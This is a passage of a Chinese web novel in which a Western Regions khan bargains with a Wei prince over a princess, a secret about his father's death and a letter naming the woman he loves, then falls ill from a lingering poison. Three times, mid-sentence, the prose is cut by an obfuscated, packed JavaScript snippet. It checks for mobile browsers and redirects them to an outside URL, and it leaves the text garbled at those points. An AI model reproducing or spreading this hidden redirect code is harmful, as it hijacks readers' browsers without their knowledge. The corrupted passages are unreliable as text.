肃安王眼角挂着一抹淡淡的笑,“可汗别来无恙。” 肃安王用的是“别来无恙”,他这是在告诉寒星,他知道他们从前是见过面的,他已经知道了寒星从前的身份,知道是他抢走了平乐,杀死了悠悠,重伤了陆奔还有楚天琦。 寒星脸上的笑容不自觉僵了一下,不过很快,他就调整好了自己的神色,他伸出一臂,爽朗道,“里面说话,肃安王,请。” 肃安王笑着点点头,他一只脚才迈进帐内,便听身后传来呵斥声。 “站住,闲杂人等,需得卸甲除兵,留下你的佩剑。” 肃安王回头张望,见是陆奔被门口的武士挡在了外面。 陆奔自从上次和寒星交手,被其重伤之后,他的身体已经大不如从前,但他日以继夜,勤加练习,如此一年下来,他的功力倒也恢复到了从前的六七成,他在寒星身上吃了这么大的亏,怎么可能认不出他的样子呢,如今仇人相见,自然是分外眼红。 肃安王冲寒星笑了笑,“这是本王的贴身近卫,陆奔,陆将军。” 眼下之意,便是请寒星的人放行。 寒星扫了陆奔一眼,倒是并不在意,且不说陆奔受了重伤,这一辈子都很难恢复如常了,便是陆奔身体健康的时候,也不是他的对手,寒星自然不把陆奔放在眼里。 寒星挥了挥手,示意武士退下,“来者是客,不得无礼。” 陆奔恨恨地瞪了寒星一眼,跟着肃安王快步而入。 几人寒暄一番,依次落座,寒星坐在上首的位置,他左手边是尧里瓦斯、艾山、寒木、沙吾提四人,右手边是肃安王、霍翰羽、陆奔、黄力四人,因为得了寒星的吩咐,门口武士并没有要求肃安王一行人卸下兵器,只是暗中派人将王帐围了起来。 霍翰羽是大将军霍淳之子,自小在军营里长大,耳濡目染,骑射俱佳,尤其擅长弓箭,目力、耳力都远超常人,他听见帐外窸窸窣窣的脚步声,飞快扫了一眼,戏虐道,“帐外的朋友怎么不进来啊,来呀,和本将军一起干一杯!哈哈哈!” 肃安王微一皱眉,他虽然也不喜欢西域人,但他们此次前来,是同西域可汗谈交易的,不能一开始就闹得这么僵,这还怎么谈? 果然,沙吾提按捺不住了,他腾地站起身来,怒目而视道,“你个乳臭未干的毛头小子,竟敢在我们的地盘上提劲撒野!” 霍翰羽也不分辩,翻腕从櫜鞬中取出一只羽箭,徒手钉在身前的桌案上,众人有些莫名其妙地看着他,不知他此举究竟意欲何为。 沙吾提看见那根羽箭的箭头露在外面,没有完全插入桌案,不由轻蔑一笑,他刚要开口嘲讽,忽听“砰”的一声,霍翰羽身前的桌案在下一刻轰然倒塌。 帐外埋伏着的武士听见里面的声响,疾速持刀闯入,将肃安王一行人紧紧包围了起来。 霍翰羽抬眼扫视一圈,轻哼一声,脸上不乏得意之色,“呦呵,人来得可真齐全,来吧,认识一下,在下姓霍,大名翰羽,诸位怎么称呼。” 他这神情,这口气分明是完全没把这些人放在眼里,这下不光沙吾提,就连艾山也怒了,“霍将军此举,未免也太过狂妄了吧!” 霍翰羽挑了挑眉毛,“分明是你们无礼在先,本将军不过是将计就计罢了。” 尧里瓦斯眯起眼睛打量着他,“你说你姓霍,那你和霍淳是什么关系?” 霍翰羽淡淡地说,“正是家父。” 寒木闻言冷笑起来,“难怪,我说大魏的军中怎么会养出你这么一个桀骜不驯的人物,原来你是仗着你老子的名头逞威风呀。” 霍翰羽少时从军,颇有天赋,那时他虽然年纪尚小,武艺却已经可以和高他一头的将领不相上下,军中将士因为他是霍淳之子,对他照顾有加,这也滋养了霍翰羽狂傲自大的性格。 霍翰羽因为霍淳,成了大魏颇负盛名的少年将军,可也是因为霍淳,别人乍一听他的名字,下意识想到的不是霍翰羽霍将军,而是霍淳的儿子。 霍翰羽生性洒脱不羁,又怎么甘心这辈子始终活在他父亲的声名之下,此刻,他听见寒木如此说,不由大怒。 “你再说一遍!” “哼,我说,你是扯着你老子的大旗,才有了这个将军做!” 霍翰羽青紫着脸,也不废话,立时张弓搭箭,只听“嗖嗖嗖”三声,霍翰羽三箭连发,离弦的飞矢直奔寒木而去。 寒木出身暗卫营,躲避暗箭的工夫自然是一流的,他几个闪身,尽数错开,霍翰羽见状,又要搭弓,却被一旁的肃安王伸臂拦住,“翰羽,差不多得了。” 霍翰羽咬着牙,怏怏地放下弓箭,他扫视了一圈帐内的武士,最后把目光投向高踞首位的寒星身上,“西域可汗,你难道不该给个说法吗?” 从霍翰羽出言挑衅,再到霍翰羽和沙吾提、艾山、寒木唇枪舌剑,寒星始终一言不发,漠然视之,他在等肃安王开口,这件事最终怎么解决,还要看肃安王的意思,只是眼下,霍翰羽问到了他的身上,他就不能不给出个态度了。 寒星笑了笑,好整以暇地斟了碗酒,“百闻不如一见,霍将军果然箭术超群,来,本汗敬你一碗。” 寒星不提伏兵之事,也不提方才之争,反而称赞起霍翰羽的箭术,这让霍翰羽颇感意外,可他并不想给寒星这个台阶下,因此,他一言不发,只是定定注视着寒星。 寒木看不得他这副狂样儿,抬手一把掀翻桌子,骂道,“你小子别给脸不要脸!” 没等霍翰羽有所表示,就见一道人影唰地从他们眼前闪过,下一秒,被寒木掀翻的那张桌子又恢复到了原来的位置,更让人惊奇的是,桌案上摆放着的酒水、瓜果竟然完好无损,未少分毫。 霍翰羽的嘴巴微微张开,他定睛一看,只见寒星端着方才敬他的那碗酒,此刻正稳稳当当地站在他和寒木的中间。 那碗酒斟得很满,几乎与碗面齐平,却不见半点涟漪。 寒木也是一怔,“大汗——” 寒星用空着的那只手拍了拍寒木的肩膀,轻描淡写地说,“辣椒吃多了?” “啊?”寒木一时没反应过来,“什么辣椒?我没吃啊。” “那怎么火气这么大。” 寒木扁了扁嘴,“我就是看不得他那副样子,不就是会射几只箭吗,有什么好轻狂的。” 霍翰羽从震惊中回过神来,他瞪着寒木,“不服是吧,好啊,我们比试比试,敢不敢!” “来啊!谁怕谁!” 肃安王适时开口道,“翰羽,我们是来谈正经事的,比武的事儿先放一放。” 说着,肃安王站起身来,他用自己的酒碗轻轻碰了一下寒星的酒碗,“可汗,这一碗,我同你喝。” 他一仰喉,一饮而尽。 “好,王爷是个爽快人,来,干!” 尧里瓦斯看见气氛有所缓和,略一挥手,示意武士们退下。 一场有可能引发战火的争端就这么被寒星三言两语化为乌有,饶是肃安王,也不由得对寒星产生了些许敬佩之意。 寒星向肃安王亮了亮手中空空如也的碗底,笑道,“君子之交,自应坦诚相见,肃安王此次来我西域,想必是有要务在身,有什么话不妨直说。” 肃安王闻言笑了笑,“可汗说得不错,本王此行,确有要事相商。” 寒星坐回自己的座位,抬手道,“请讲。” “皇上睦邻友邦,愿同西域厚往薄来,修万世之永安。” “怎么修?” “其一,开互市,大魏与西域的接壤处因为疏于管制,常有流寇作乱,不利于两国百姓的安居乐业,皇上的意思是在此处设立互市,两国各派一支军队驻守,你们需要我们的茶、盐、丝绸、麻布,我们也需要你们的马匹、瓜果、皮毛、香料,两国百姓可以通过互市互通有无,以物易物,如此一来,一能安边境,二能防匪患,三能修和睦,可谓是一举三得。” 寒星在心底默默盘算了一番,觉得开设互市通商,的确对西域有益无害,于是欣然允诺,“好啊,尧里瓦斯将军熟悉西域各境的情况,互市之事,王爷等下可同尧里瓦斯将军详谈。” 肃安王对尧里瓦斯笑笑,“有劳。” 尧里瓦斯点点头,算是回应。 “王爷千里迢迢来我西域,不会只为了开互市这一件事吧,还有什么?” “可汗莫急,横竖都是互利互惠的好事情。” 寒星闻言,勾了勾唇角,“本汗可不相信,这世上会有无缘无故的好事儿。” “信不信都无妨,可汗听我说完,心中自然便有数了。” “洗耳恭听。” “其二,两国交好,莫若联姻,平乐公主远嫁西域多年,她使大魏与西域在长达十年的光景里不动干戈,可谓是功不可没。” “的确,平乐阏氏虽然身为女子,心志却是异常坚韧,不输于一般男子,本汗很是敬佩。” 肃安王叹了口气,继续说,“只是,大漠的气候严寒干燥,又多风沙,平乐公主毕竟是大魏女子,她远离故土亲人多年,如今更是连遭变故,她在写给皇上的家书中透露出了思归之意,所以本王希望此行可以迎回平乐公主,”他说着,对寒星一拱手,“还望可汗首肯。” 寒星微微皱眉,沉吟道,“不是本汗不愿意成人之美,只是王爷方才也说了,两国交好,莫若联姻,平乐阏氏是大魏同西域这么多年相安无事的关键所在,若是平乐阏氏一朝还朝,本汗又如何得见大魏的修好之意呢?” “这倒无妨,平乐公主如今已经诞下一子,此子正是大魏与西域敦睦平章的结晶,可汗若是信不过大魏的诚意,大可将此子留在自己身边。更何况平乐公主的丈夫苏里唐已然身死,她现如今不过就是一个无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502809|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依无靠的弱女子罢了,对可汗而言又有何用呢?” 尧里瓦斯缓缓开口,“王爷此言谬矣,平乐阏氏虽然从前是你们大魏的公主,但自从她嫁到了西域,便是我们西域的女人了,按照我们西域的风俗,在上一任汗王死后,新继位的汗王便要迎娶他的遗孀,所以肃安王,你不能带走平乐阏氏。” 陆奔气愤地说,“简直闻所未闻,你们这是什么野蛮粗鄙的陋俗,实在是罔顾天理伦常!” 艾山正色道,“闻所未闻,只能说是你孤陋寡闻,陆将军对我们西域的风俗不甚了解,并不代表此事子虚乌有,我们西域的规矩历来就是如此,世世代代都传承下来了,百余年前也有中原女子嫁到西域,那女子也是按照规矩嫁给了下一任汗王,也就是她的亲生儿子,这规矩这么多年都守下来了,怎么偏偏就平乐阏氏守不得。” 陆奔拍案而起,“西域是西域,大魏是大魏,难道野兽吃生肉,饮鲜血,我们人也要跟那些畜生学吗!” “呸!”沙吾提指着陆奔的鼻子怒道,“你嘴巴给我放干净点,在这儿骂谁是畜生呢!” 黄力轻咳一声,清了清嗓子,寒星看他一眼,“这位将军有话要说?” 黄力连忙摆手,一脸真诚道,“没有没有,就是刚刚嗓子有点不舒服,没忍住咳了两声,不好意思啊,你们继续,继续。” 肃安王沉稳地说道,“习俗并无好坏之分,这会子争辩这个也是无用,只是平乐自小在大魏长大,如今硬要叫她去守西域的旧俗,多少有些强人所难吧,本王听说尤里吐孜汗幼时流落他乡,也曾经在大魏生活过一段时间,想来可汗应该能够理解本王说的话。” 寒星大方承认,“的确,本汗在大魏呆过一阵子,知道西域同大魏的风俗有些许不同,平乐阏氏夹在中间,也是为难,不过——”寒星话锋一转,笑了笑,“肃安王,其实对本汗来说,平乐阏氏是留在西域还是回到大魏,都无甚紧要,可对于你们来说,她的去留却关乎着你们骨肉能否团圆,而她改嫁与否,更牵涉着你们大魏皇室的清白,本汗可以放平乐阏氏离开,但前提是,你们得拿出足够的诚意,作为交换。” 肃安王似乎早有预料,坦然道,“皇上原意出兵北疆,助西域一统漠北。” 艾山睁大了眼睛,“肃安王此言当真?” “自然当真,若是西域愿意放人,霍将军驻守在玉门关的人马即刻便可随西域大军一起征战北疆,大魏同北疆相距甚远,中间还隔了一个西域,出兵北疆对我们来说没有任何好处可以图谋,这也足见大魏想要同西域修好的诚意。” 寒星看向霍翰羽,“霍将军,你真的愿意出兵北疆?” 霍翰羽扁了扁嘴,有些不情愿地说,“若能迎回平乐公主,本将军自然会信守承诺,助你们一臂之力。” 尧里瓦斯定定看了肃安王一阵,“我想知道,这是王爷的意思,还是大魏皇帝的意思?” “自然是皇上的意思。”肃安王顿了顿,补充说,“也是本王的意思。” 寒星垂眸静静思量了片刻,大魏皇帝愿意用北疆来换平乐,足见平乐的分量之重。平乐出身大魏皇室,后来嫁给了苏里唐,如今又生下了兼有大魏同西域两国血脉的孩子,她一人身上便汇聚了多方势力,就这么轻易地放她离开,实在有些不划算。 至于北疆嘛,寒星不是不能打,更不是打不赢,他不过是怕自己前脚出兵北疆,后脚大魏的人马就扑了过来,所以一时半刻还没有找到合适的时机,若是霍翰羽愿意带着玉门关的驻军协同作战,自己自然就可以免了后顾之忧。 如此想来,放与不放,对西域而言都有好处,其中利弊尚需仔细衡量。 寒星看向尧里瓦斯,“尧里瓦斯将军的意思呢?” 尧里瓦斯从前是老汗王依拉洪麾下的一员猛将,如今,他更是西域威望最高的大将军,对于寒星来说,尧里瓦斯的意见至关重要。 尧里瓦斯两鬓花白,脸上也布满了岁月风霜吹打出来的一道道沟壑,但他的脊背依然挺得笔直,一双眼睛正炯炯有神地打量着对面的肃安王,此刻听见寒星问他,尧里瓦斯敛眉想了想,缓缓道,“无论如何,都不能坏了西域的规矩。” 寒星微一颔首,又看向肃安王,“王爷你看——” 肃安王浅浅笑了一下,他心中明白,这是尧里瓦斯在同他谈条件呢,如果尧里瓦斯真的固执坚守这所谓的规矩,平乐公主早就已经嫁给寒星了,又怎么可能会等到今日。尧里瓦斯这样说,不过是想用平乐朝大魏多换些东西罢了。 肃安王思及此处,心情竟有几分愉悦,他暗道,果然每一步都如皇上所料,看来,这件事应该并不难办。 寒星瞧见肃安王眸中幽深莫测的笑意,心中忽然有了一种不好的预感,他张了张嘴,刚想要说些什么,就听肃安王正色道,“我们愿意用一桩秘密来换。” 寒星脱口而出,“什么秘密?” 肃安王似笑非笑,“一桩二十年前的秘密。” 102. 二十载春秋 “二十年前……” 寒星无意识地重复了一遍,这个时间对他来说太过熟悉和难以忘怀了——这是他的生身父亲,西域老汗王依拉洪死于苏里唐之手的日子。 寒星的喉结滚动了一下,他的眼神惊疑不定,“二十年前的……什么秘密?” 肃安王看着他的眼睛,镇定自若地说,“有关依拉洪之死的秘密。” 此言一出,尧里瓦斯、艾山、沙吾提等人的目光齐齐冲肃安王扫了过来,他们拥戴寒星夺得汗王之位,皆因寒星是老汗王依拉洪之子的缘故。 依拉洪在西域人心中积威甚深,即便他一朝身死,他的旧部也誓死不愿跟随苏里唐,这些人或是在西域边缘游走,或是隐姓埋名,逃到了大魏、西国、北疆、南蛮各处,他们每个人的心中都憋着一口气,憋着一口为依拉洪报仇雪恨的气,如今听说依拉洪之死另有隐情,他们每个人的心也都跟着狠狠揪了一下。 尧里瓦斯的声音里少见的添了几分慌张,他往前微微探身,急切地问,“大汗怎么了?” 他脱口而出的“大汗”自然不是寒星,而是依拉洪,即便依拉洪已经死了很多年,可在尧里瓦斯的心中,依拉洪依旧是他的大汗——永远的、唯一的大汗。 肃安王神情平静,“尧里瓦斯将军是依拉洪身边的得力干将,当年之事,尧里瓦斯将军心中应该也是有些许疑惑的吧。” 尧里瓦斯点了点头,“的确,当年——”他的声音渐次拉长,像是夕阳留下的最后一抹余晖没入山隘,“当年,大汗勇猛无双,天下能伤他的人少之又少,苏里唐那个怂包,还有穆则帕尔那个蠢货,他们俩加在一块儿,都顶不上大汗的一根脚趾头,我一直都想不明白,就凭他俩麾下的那些破烂货色,怎么可能杀得了大汗?!” “依拉洪”在西域语中是“神”的意思,神是不可能死的。 “依拉洪确实不是苏里唐所杀。”肃安王顿了顿,又补充道,“当然,也不是穆则帕尔或者他们手底下的人干的。” 寒星的胸膛中燃烧起一团火,这火里有仇恨,有遗憾,有错愕,有悲伤,这火一路向上蹿腾,最后化作刀子一般的言语,从寒星口中一个字一个字地崩了出来,“到底是谁干的!” 肃安王却不说话了,他理了理衣摆,选择无视寒星的声嘶力竭,继续保持着沉默。 寒星恨恨地勾了勾唇角,“好,我答应你,你现在就可以把她带走。” 肃安王轻轻摇了摇头,“不,皇上应允可汗的,是用出兵北疆来换平乐公主,而这秘密,则要用另一件事情来换。” 沙吾提忍不住啐了一口,“混账,你怎么出尔反尔!” 肃安王丝毫没把沙吾提的唾骂放在心上,他依旧看着寒星,“可汗,你换不换。” “哈哈哈——” 寒星突然放声大笑起来,肃安王看着他几近癫狂的模样,微微有些发愣。 肆意狂浪的笑声充斥着帐内的每一个角落,寒木垂眸,瞧见碗里的酒泛起了一圈圈涟漪,他有些担心地出声道,“大汗——” 约莫过了一分钟,寒星终于不笑了,他目不转睛地盯着肃安王,仿佛想从他的脸上挖出这个秘密,而肃安王面不改色,十分冷静地同他对视。 片刻后,寒星翘了翘嘴角,语气中带着些许的嘲弄与不甘,“说吧,什么条件?” 肃安王一直在等寒星这句话,他微微一笑,俐落地从怀里摸出一封书信,“皇上有一封密信,托我转交给可汗,皇上想换的东西就写在信里,可汗读完,自然就知道条件是什么了。” 说罢,他一翻腕,那信立时旋转着冲寒星飞了过去。 寒星两指一捻,轻而易举地将信拿在手中,只见红签书套上端正书着“西域可汗亲启”六个大字,封口处的蜡油完好无损,显然并没有被人拆开看过。 寒星迅速扫了肃安王一眼,随即动手拆信。 在看到了信的内容之后,他的神情在一瞬间凝固。 竟然是……这样…… 肃安王注视着寒星惨白的嘴唇,心中微微有些纳罕,他其实并不知道,这个条件是什么,魏晗烨没有同他说,他也知趣地没有问,但他猜想,这个东西一定对魏晗烨很重要,只是他没有想到,寒星的反应居然也会这么大。 寒木意识到不对,他下意识以为信里有毒,一个箭步冲上前去,劈手便夺,“大汗当心!” 寒星正呆呆地出着神,忽然,他觉察到有人要抢他手中的信,急忙一个闪身避开。 “木头?”寒星看清了来人,终于回过神来,他挥了挥袖袍,将这封信不着痕迹地藏了起来,随即淡淡道,“放心,我没事。” 寒星将目光投向肃安王,“王爷可知,这封信里写了什么吗?” 肃安王摇头,“不知道,写了什么?” 寒星稍微松了一口气,他暗暗思忖着,看来自己猜得没错,魏晗烨不想让此事人尽皆知,所以就连送信的肃安王也不知道,那么,知道此信内容的应该就只有他和魏晗烨两人了。 他复又低下头,仔仔细细,认认真真地凝视着信上的内容,眼角眉梢尽是一片冰冷。 信的内容很短,只有寥寥三个字,可寒星却反反复复读了许多遍。 因为那三个字是——席容烟。 寒星惨白的唇角勾起一个轻蔑的弧度,好啊,魏晗烨,你居然还惦记着我的女人。 肃安王见他神色几变,试探着问,“可汗想好了吗?换,还是不换。” 尧里瓦斯忍不住开口道,“事关老汗王死因,当然要换!” 寒星默了默,半晌,他沉声道,“肃安王,你就不怕我把你扣在此处,用你的性命要挟魏晗烨说出真相吗?” 陆奔“唰”地一声抽出佩剑,挡在肃安王身前,“我看谁敢!” 陆奔对面的艾山和沙吾提几乎在同一时间拔出大刀,闪着锋芒的刀尖正冲着肃安王他们,“有何不敢!” 先前的西域武士们又围拢上来,霍翰羽和黄力横剑相对,一场血战一触即发。 肃安王却是一脸淡然,他啜了口酒,“本王知道,可汗武功高强,我们这些人就算加起来,也未必是可汗的对手,不过,可汗你的本事再大,也只能保护得了你自己还有你身边的人,难道你能救下所有的人吗?” 寒星眯起眼睛,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502810|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你什么意思?” “很简单,本王在来之前,已经和玉门关副将卢文盛打好了招呼,若是本王没能在午时之前安全返回,他即刻就会对西域发兵,到时候兵戎相见,我们固然会折损一部分兵力,可你们也落不到半点好处,可汗是个聪明人,想来不会做对自己这么不划算的事情的。” “哈哈哈哈!”寒星不怒反笑,“肃安王真是好谋算啊,我们谈谈,如何?” “好啊,可汗想怎么谈。” 寒星给自己倒了满满一碗酒,仰头一口饮尽,“开互市的事情,我们已经谈妥了,不必再议,至于平乐阏氏,本汗做主了,你用不着出兵北疆就可以把她直接带走,本汗只想知道二十年前到底发生了什么。肃安王,你是行军打仗之人,你自然晓得本汗做出了多大的让步。” 肃安王拱了拱手,“可汗美意,本王很是感激,只可惜本王做不了主,这是皇上的意思。本王离开大魏之前,皇上千叮咛万嘱咐,说是无论可汗开出了怎样的条件,我都不能答应,他只要信上写的那个东西。” 寒星抿了抿唇,一个是他的生身父亲,一个是他的此生挚爱,一个给予了他生命,还有西域汗王的威望与权柄,而另一个则让他在黑暗里看到了活下去的勇气与希望,这个抉择……太难了…… 寒星将信揉作一团,死死攥在了掌心里,“事关重大,容本汗再考虑考虑。” “无妨,本王会在玉门关呆上约莫七日的时间,可汗若是想明白了,只管派人知会本王一声,本王等可汗的好消息。” “好。” 肃安王犹豫了一下,终于还是开口道,“在此之前,可汗能否让我和平乐说说话。” 寒星哂笑道,“不急,等什么时候我们谈妥了,王爷再见平乐阏氏也不迟。” 肃安王神情稍显落寞,其实方才,他真的很想一口应承下来,只可惜皇命难违,他亦是无可奈何,他叹了口气,起身告辞。 寒星敏锐地察觉到肃安王的情绪变化,“王爷留步。” 肃安王一只手正挑着帐门,他闻言侧身看向寒星,“可汗还有何事?” 寒星往前走了几步,在距离肃安王一寸远的地方站住,他的脸上浮现着深深浅浅的笑意,“将在外,君命有所不受,本汗方才说的话,希望王爷再好好考虑考虑。”[1] 他们之间的距离太近了,寒星又刻意压低了声音,将音量控制在只有他们两个人能听见的范围之内,肃安王的喉结明显滚动了一下,他哑声应道,“好。” 等肃安王一行人离开,尧里瓦斯这才问道,“大汗,大魏皇帝开出了什么条件?” 寒星的神情有些古怪,他没有回答尧里瓦斯的问话,而是反手一掷,亲眼看着熊熊火舌将信吞没,连一丝灰也没有留下,这才拍了拍手,如释重负地说,“有穆则帕尔的消息了吗。” 艾山微一摇头,“没有,能找的地方都找了,就是没有他的踪迹。” 苏里唐已死,如果依拉洪的死因真的另有隐情,那么,这世间除了魏晗烨,唯一有可能知道此事的也就是穆则帕尔了,寒星咬着牙,一字一顿道,“去找!活要见人!死要见尸!” 103. 山海无所踪 入夜,寒星等席容烟睡着了,悄然起身,一个人披衣离开。 他的动作极轻极快,就连帐外守着的两个武士都未曾察觉。 他在冷冽的风中漫无目的地走着,其实他并没有什么想去的地方,只是想一个人静一静。 末了,寒星来到一条小河边,盘膝而坐,大雪连着下了好几天,在地面上堆起一层厚重的白衾,软软的,凉凉的,即便寒星披着大氅,也能感受到身下传来的丝丝寒意。 可他对此全然不在乎,身体上的折磨并不能抵消他心底的迷茫无措,他抬眼望向寂静一片的冰面,喃喃自语,“父亲,我该怎么办。” 月亮慢慢地爬起来,又落下去,颀峻苍凉的影子在一分一秒间缓慢移动,可影子的主人却好像睡着了一般,浑然不觉,依旧保持着最开始的姿势木然呆坐。 也不知过了多久,寒星感觉到自己的肩头多了一份沉甸甸的暖意,他下意识地伸手去摸,竟然摸到了一件鹤氅。 寒星后知后觉地侧过脸去瞧那衣裳的主人,不由一怔,“阿烟?” 席容烟嘴角挂着一抹恬淡的笑,她佯作生气状,从后揽住寒星的肩,将他整个人抱住,嘟囔着说,“你怎么不睡觉,悄没声跑这儿来了,大冷天的,害我好找。” 寒星惭悔不已,伸手去握她的手,他本来想着给她暖暖,可在二人指尖触碰的一瞬间,寒星才发现,自己的手竟然是这样的冰冷,忙又缩了回来,“对不住,阿烟。” 席容烟没说话,只是捧起他的手,轻轻呵着气,过了一阵儿,她觉得他的手没那么僵硬了,也渐渐有些温度了,这才抬眸问他,“你感觉好点了吗?” 寒星用力点头,“好多了。” 席容烟眨了眨眼睛,“那你可以告诉我,到底出了什么事吗?” 寒星敛眉沉默着。 席容烟等了一会儿,忍不住又问,“我很好奇,魏晗烨到底想和你换什么东西?这东西对你而言很重要吗?” “嗯,很重要。” “他不会是要你交出西域吧?” 寒星听见席容烟离谱的猜测,不由得笑了起来,“不是。” “那……”席容烟的神色一下子紧张了起来,“难道……难道他是想要你的命?” 寒星看着她严肃郑重的表情,莫名觉得有几分好笑,一直紧绷的神经也放松了不少,他微一扬臂,将她一把揽入怀中,“也不是,别猜了,你猜不出来的。”过了片刻,他补充道,“他要的东西,比这两样都要重要。” 席容烟睁大了眼睛,“这世上还有什么东西会比这两样还要重要呢?” 寒星没有回答她的问话,只是低下头,在她额间轻轻印上一吻。 他的唇瓣薄薄的,凉凉的,像是一片蹁跹而落的雪花,融化在一片旭日暖阳里。 她仰着头,沉沦在这一刻的美好中。 虽然只有短短一刹那,可他们彼此都已经十分满足。 寒星回味着口中的余甘,心情大好,抱起她便往回走,“阿烟,我们回去。” 席容烟此刻已经忘却了心里的疑惑,歪头靠在他坚实的胸膛上,柔声道,“好。” 雪地难行,寒星走得有些吃力,他起初并没有在意,可是渐渐地,他发现有些不对劲。 因为这种吃力并不是来源于外界,而是来源于他自己。 他只觉得,身体里有两股力量在互相缠斗,在他的五脏六腑搅出一阵阵撕心裂肺的疼痛,与之相伴而生的则是四肢酸软无力,视线也渐次变得模糊不清,他的身体好像被什么东西给压制住了,什么力气都使不出来。 寒星手上一滑,几乎要把席容烟给摔了出去,幸而他很快意识到了这一点,他咬牙蓄力,又稳稳地把她抱回怀中,如此反复几次,席容烟终于意识到不对劲,她抬头,看见他额上的一层虚汗,担心地问,“寒星,你怎么了?” 寒星抿抿唇,不动声色,“坐得时间太长了,腿有点麻。” 席容烟半信半疑,“放我下来,我自己走。” 寒星的口吻却是不容反驳的,“不行,听话。” 寒星就这么抱着她一步一步走回了营帐,到了帐内,他再也支撑不住,膝上一软,径直栽在地上,殷红的鲜血喷洒了一地,看得席容烟一阵心惊。 “阿星!” 寒星艰难地把口中粘稠甜腥的红色液体咽了回去,他用袖子擦拭干净嘴角,故作轻松道,“没事,你去把木头还有巫医叫来。” 席容烟心中更慌了,寒星这个人最是自傲自负,他平日受了大伤小伤,都是自己扛着,从来没找过大夫医治,可是这次……她来不及多想,快步冲出王帐,“我马上就回来!” 席容烟的话落在寒星的耳朵里,飘飘渺渺的,有一种不大真实的感觉,寒星牵动嘴角,自嘲地笑了笑,他方才就已经看不清东西了,如今,竟然连耳朵也变得不好使了。他从地上慢慢地站了起来,凭借记忆摸索着坐回床边,静静思量方才发生在自己身上的一切。 他从前在宰相府做事,什么毒没见过,什么伤没受过,他虽然不是大夫,不能妙手回春,医人性命,可把自己这副身体照顾好还是不成问题的。 但是这次,他敏锐地察觉到不对劲,他身体里的这两股力量太奇怪了,这种感觉,就好像自己拿着兵刃,一刀一刀砍在自己身上,他拼命地想要停下来,却根本控制不了拿着兵刃伤害自己的手,这实在是太诡异了。 为什么会这样…… 帐外传来的脚步声拉回了他的思绪,寒星欣喜地发现,自己又能听见,又能看见了。 最先闯入帐内的是寒木,他满脸急切担忧,因为跑得太快,鼻间“呼哧呼哧”地喘着气,他上上下下打量着寒星,在确定寒星平安无事之后,终于松了一口气。 寒星没等他问,言简意赅地说,“我好像中毒了,一种,很古怪的毒。” 寒木的眉头重新皱了起来,他探了探寒星的脉息,并没有发现什么端倪。 “毒发时,是什么症状?” “手脚无力,眼睛耳朵也不大好使。” 这时,巫医和席容烟赶到了,寒木赶紧把巫医拽了过来,“你快给大汗看看怎么回事!” 巫医扫了一眼地上的血迹,意识到事情的严重性,也顾不得行礼,立即便为寒星把脉。 半晌,他撤回手,讶然道,“大汗曾经中过黄昏雨之毒?” 寒星挑了挑眉,“对啊,不然本汗当初为什么要问你要解药。” “大汗中此毒,可是中了十余年之久?” “差不多吧,约莫有十二三年了,有什么不妥吗,本汗不是已经服下彻底的解药了吗?” 巫医躬身跪在地上,“大汗有所不知,黄昏雨此毒虽然不会立时要了人的性命,却最是细远绵长,把人折磨得苦不堪言,中毒者如果在一年之内服下解药,自然无恙,可若是长久地服用此毒,此毒便会逐渐散入肺腑,即便最后服下了解药,也无法彻底清除体内余毒……” 寒木不待他说完,上去一把揪住他的衣领,“你满嘴里胡说些什么!” 寒星轻咳一声,“木头,让巫医把话说完。” 寒木语气里带着胁迫的意味,“你最好是能把大汗治好,否则,你也想别活了!” 巫医不为所动,继续问寒星,“这些年来,大汗可有过什么不适之症吗?” 寒星想了想,突然忍不住笑了起来,“不瞒巫医,我从前经常受伤,身上也经常是新伤叠旧伤,所以,我并不曾留意有没有什么不适之症,换句话说,我这副身体就从来没好过。” “这便是了。” 寒木不满,“什么是不是的,你且说,到底能不能把大汗治好!” 巫医叹了口气,“十年之久,黄昏雨早就已经侵入大汗的五脏六腑,纵然扁鹊在世华佗再生也难医治,寒木将军,你就算这会子杀了我,也是无济于事啊!” 寒星皱眉道,“可为何我之前从来没有出现过今天这种状况?” “大汗体格强健,又是习武之人,黄昏雨的余毒虽然存在于大汗体内,但它一直被大汗的内力所压制,今日大汗应该是为寒气所伤,又兼忧思过重,这才给了这余毒可乘之机。” 寒星思忖片刻,抬手指了指寒木,“巫医,你给他也瞧瞧。” “瞧我做什么,我又没有……”寒木的反应慢了半拍,他之前光顾着担心寒星了,忘了自己和寒星其实差不多是一个时间中的毒,也是一个时间服下的解药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502811|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会子才回过味来。 巫医依言给寒木把了把脉,眉头却是越皱越紧,“奇怪,为何寒木将军反而无事呢。” 